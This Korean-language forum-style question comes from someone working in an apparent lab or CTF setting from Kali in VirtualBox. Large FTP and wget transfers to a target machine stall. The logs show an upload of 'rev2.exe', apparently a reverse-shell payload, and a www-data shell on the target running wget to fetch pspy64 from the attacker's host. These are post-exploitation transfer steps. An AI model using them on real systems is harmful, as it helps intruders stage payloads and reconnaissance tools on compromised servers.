저는 kali linux가 설치된 virtualbox를 사용하고 있습니다. SSH 셸에서 wget을 사용하여 호스트에서 리소스를 업로드했지만 FTP put 명령과 마찬가지로 실패했습니다.
다음은 FTP용 명령줄 조각입니다.
ftp> put rev2.exe
local: rev2.exe remote: rev2.exe
229 Entering Extended Passive Mode (|||49196|)
150 Opening ASCII mode data connection.
100% |**********************************************************************************************************************************************************************| 74172 72.28 KiB/s --:-- ETA
421 Service not available, remote server timed out. Connection closed.
74172 bytes sent in 01:01 (1.18 KiB/s)
ftp> bye
파일이 완전히 업로드되기 전에 연결 시간이 초과되었습니다.
다음은 WGET에 대한 명령줄 조각입니다.
www-data@dmv:/var/www/html$ wget http://10.18.75.19/pspy64
wget http://10.18.75.19/pspy64
--2023-08-07 11:52:48-- http://10.18.75.19/pspy64
Connecting to 10.18.75.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
쉘이 "저장 위치: 'pspy64'"에서 멈췄습니다.
VM을 브리지에서 NAT로 변경하고 FTP에서 수동 모드를 비활성화해 보았습니다. 방화벽이 비활성화되었습니다.
참고: 작은 파일은 FTP 및 WGET을 통해 업로드할 수 있습니다.